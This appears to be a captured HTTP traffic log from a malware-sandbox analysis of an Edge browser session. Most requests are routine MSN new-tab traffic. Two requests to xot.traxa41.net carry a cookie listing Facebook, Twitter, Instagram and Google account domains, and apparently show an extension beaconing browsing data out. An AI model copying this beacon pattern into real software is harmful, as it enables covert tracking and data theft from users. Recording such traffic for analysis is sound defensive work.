Source: global traffic	HTTP traffic detected: GET /service/v1/news/users/me/locations?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=pdp-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_super-feed_dist_feed-manager_FeedManagerWithClientAd_js-node_modules_fluentui_svg-icons_-8f340f.92749e5d36b29b902c76.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /service/graph/actions?%24top=20&%24filter=actionType+eq+%27Follow%27+and+%28targetType+eq+%27Location%27%29&apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=pdp-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
Source: global traffic	HTTP traffic detected: GET /service/msn/user?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=pdp-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /service/v1/news/users/me/locations?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=pdp-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/nas-highlight-v1.ad1f555a047bcac24a4a.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /service/segments/recoitems/weather?apikey=UhJ4G66OjyLbn9mXARgajXLiLw6V75sHnfpU60aJBB&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=weather-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON&units=F&appId=4de6fc9f-3262-47bf-9c99-e189a8234fa2&wrapodata=false&includemapsmetadata=true&cuthour=true&filterRule=card&distanceinkm=0&regionDataCount=20&orderby=distance&days=5&pageOcid=anaheim-dhp-peregrine&source=undefined_csr&hours=13&fdhead=prg-1sw-wxmptreplace&contentcount=3&region=us&market=en-us&locale=en-us&lat=33.75510787963867&lon=-84.39060974121094 HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /weathermapdata/1/static/weather/Icons/taskbar_v10/Condition_Card/SunnyDayV3.svg HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /weathermapdata/1/static/weather/Icons/taskbar_v10/WindyV2.svg HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/nas-highlight-v3v4.5873ec4aa566b5d8efc3.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ext/antlog?1=1&from=Chrome3 HTTP/1.1Host: xot.traxa41.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gxid=6628213c59b94; installed=true; clog=.facebook.com-.twitter.com-.instagram.com-www.google.com-accounts.google.com-ogs.google.com-.google.com-www.youtube.com-.youtube.com; safe-installed-internal=true
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/nativeadstemplates.3d1fd5b812e57319e143.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/node_modules_xmlbuilder2_lib_xmlbuilder2_min_js.365db5621a87ab118310.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ext/antlog?1=1&from=Chrome3 HTTP/1.1Host: xot.traxa41.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gxid=6628213c59b94; installed=true; clog=.facebook.com-.twitter.com-.instagram.com-www.google.com-accounts.google.com-ogs.google.com-.google.com-www.youtube.com-.youtube.com
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/pill-wc.87e5c35451d51ad2c9c1.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SignInData.70016e6eaece05b76578.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/sticky-peek.8a52a328061c5a4af40c.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/waterfall-view-feed.da1860afbfeb79eba90c.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/weather-card-wc.6e8a0415b27366196d3f.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cEE23?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/Excel_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/OneDrive_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/OneNote_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/Outlook_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/PowerAutomate_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/PowerBI_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/PowerPoint_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/SharePoint_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/Skype_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/Sway_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/Teams_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
